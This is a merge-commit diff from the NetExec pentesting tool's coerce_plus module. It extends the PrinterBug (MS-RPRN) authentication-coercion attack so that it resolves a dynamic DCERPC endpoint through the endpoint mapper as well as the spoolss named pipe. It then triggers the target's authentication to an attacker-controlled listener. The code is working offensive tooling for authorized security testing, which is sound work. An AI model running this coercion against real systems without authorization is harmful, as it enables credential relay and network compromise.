Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug

coerce_plus: Support DCERPC for PrinterBug

nxc/modules/coerce_plus.py

@@ -1,4 +1,5 @@
-from impacket.dcerpc.v5 import transport, rprn, even
+from impacket import uuid
+from impacket.dcerpc.v5 import transport, rprn, even, epm
 from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
 from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -146,32 +147,36 @@ def on_login(self, context, connection):
         if self.method == "all" or self.method[:2] == "pr":  # PrinterBug
             runmethod = True
             """ PRINTERBUG START """
-            try:
-                printerbugclass = PrinterBugTrigger(context)
-                target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
-                printerbugconnect = printerbugclass.connect(
-                    username=connection.username,
-                    password=connection.password,
-                    domain=connection.domain,
-                    lmhash=connection.lmhash,
-                    nthash=connection.nthash,
-                    target=target,
-                    doKerberos=connection.kerberos,
-                    dcHost=connection.kdcHost,
-                    aesKey=connection.aesKey,
-                    pipe="spoolss"
-                )
+            pipes = ["spoolss", "[dcerpc]"]
+            for pipe in pipes:
+                try:
+                    printerbugclass = PrinterBugTrigger(context)
+                    target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
+                    printerbugconnect = printerbugclass.connect(
+                        username=connection.username,
+                        password=connection.password,
+                        domain=connection.domain,
+                        lmhash=connection.lmhash,
+                        nthash=connection.nthash,
+                        target=target,
+                        doKerberos=connection.kerberos,
+                        dcHost=connection.kdcHost,
+                        aesKey=connection.aesKey,
+                        pipe=pipe
+                    )
 
-                if printerbugconnect is not None:
-                    context.log.debug("Target is vulnerable to PrinterBug")
-                    context.log.highlight("VULNERABLE, PrinterBug")
-                    if self.listener is not None:  # exploit
-                        printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss")
-                    printerbugconnect.disconnect()
-                else:
-                    context.log.debug("Target is not vulnerable to PrinterBug")
-            except Exception as e:
-                context.log.error(f"Error in PrinterBug module: {e}")
+                    if printerbugconnect is not None:
+                        context.log.debug("Target is vulnerable to PrinterBug")
+                        context.log.highlight("VULNERABLE, PrinterBug")
+                        if self.listener is not None:  # exploit
+                            exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
+                            if not self.always_continue and exploit_status:
+                                break
+                        printerbugconnect.disconnect()
+                    else:
+                        context.log.debug("Target is not vulnerable to PrinterBug")
+                except Exception as e:
+                    context.log.error(f"Error in PrinterBug module: {e}")
             """ PRINTERBUG END """
 
         if self.method == "all" or self.method[:1] == "m":  # MSEven
@@ -752,15 +757,50 @@ class PrinterBugTrigger:
     def __init__(self, context):
         self.context = context
 
+    def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str:
+        string_binding = r"ncacn_ip_tcp:%s[135]" % target
+        rpctransport = transport.DCERPCTransportFactory(string_binding)
+        rpctransport.set_connect_timeout(timeout)
+        dce = rpctransport.get_dce_rpc()
+        self.context.log.debug(
+            "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface))
+        )
+        try:
+            dce.connect()
+        except Exception as e:
+            self.context.log.warning("Failed to connect to endpoint mapper: %s" % e)
+            raise e
+        try:
+            endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
+            self.context.log.debug(
+                "Resolved dynamic endpoint %s to %s"
+                % (repr(uuid.bin_to_string(interface)), repr(endpoint))
+            )
+            return endpoint
+        except Exception as e:
+            self.context.log.debug(
+                "Failed to resolve dynamic endpoint %s"
+                % repr(uuid.bin_to_string(interface))
+            )
+            raise e
+
+
     def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
         binding_params = {
             "spoolss": {
                 "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target,
                 "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
+                "port": 445
             },
+            "[dcerpc]": {
+                "stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target),
+                "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"),
+                "port": None
+            }
         }
         rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
-        rpctransport.set_dport(445)
+        if binding_params[pipe]["port"] is not None:
+            rpctransport.set_dport(binding_params[pipe]["port"])
 
         if hasattr(rpctransport, "set_credentials"):
             rpctransport.set_credentials(